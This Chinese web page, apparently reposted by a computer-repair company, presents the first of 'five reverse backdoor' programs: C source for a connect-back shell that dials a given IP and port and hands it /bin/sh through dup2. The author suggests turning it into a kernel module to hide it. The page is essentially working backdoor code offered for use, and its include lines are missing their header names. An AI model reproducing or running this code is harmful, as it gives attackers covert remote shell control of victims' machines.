设为主页 | 加入收藏 | 繁體中文

五个反弹后门的源代码(一)

  第一个反弹木马代码:作者 iceblood
  代码
  #include
  #include
  #include
  #include
  #include
  #include
  #include
  void usage();
  char shell[]="/bin/sh";
  char message[]="s8s8 welcome\n";
  int sock;
  int main(int argc, char *argv[]) {
  if(argc <3){
  usage(argv[0]);
  }
  struct sockaddr_in server;
  if((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
  printf("Couldn't make socket!\n");      exit(-1);
  }
  server.sin_family = AF_INET;
  server.sin_port = htons(atoi(argv[2]));
  server.sin_addr.s_addr = inet_addr(argv[1]);
  if(connect(sock, (struct sockaddr *)&server, sizeof(struct sockaddr)) == -1) {
  printf("Could not connect to remote shell!\n");
  exit(-1);
  }
  send(sock, message, sizeof(message), 0);
  dup2(sock, 0);
  dup2(sock, 1);
  dup2(sock, 2);
  execl(shell,"/bin/sh",(char *)0);
  close(sock);
  return 1;
  }
  void usage(char *prog[]) {
  printf("\t\ts8s8 connect back door\n\n");
  printf("\t sql@s8s8.net\n\n");
  printf("Usage: %s \n", prog);
  exit(-1);
  } 

  显得有点大略了,不过还能讲究的过去。。如果必要可以写成LKM,呵呵。
 


    文章作者: 福州军威计算机技术有限公司
    军威网络是福州最专业的电脑维修公司,专业承接福州电脑维修、上门维修、IT外包、企业电脑包年维护、局域网网络布线、网吧承包等相关维修服务。
    版权声明:原创作品,允许转载,转载时请务必以超链接形式标明文章原始出处 、作者信息和声明。否则将追究法律责任。

TAG:
评论加载中...
内容:
评论者: 验证码: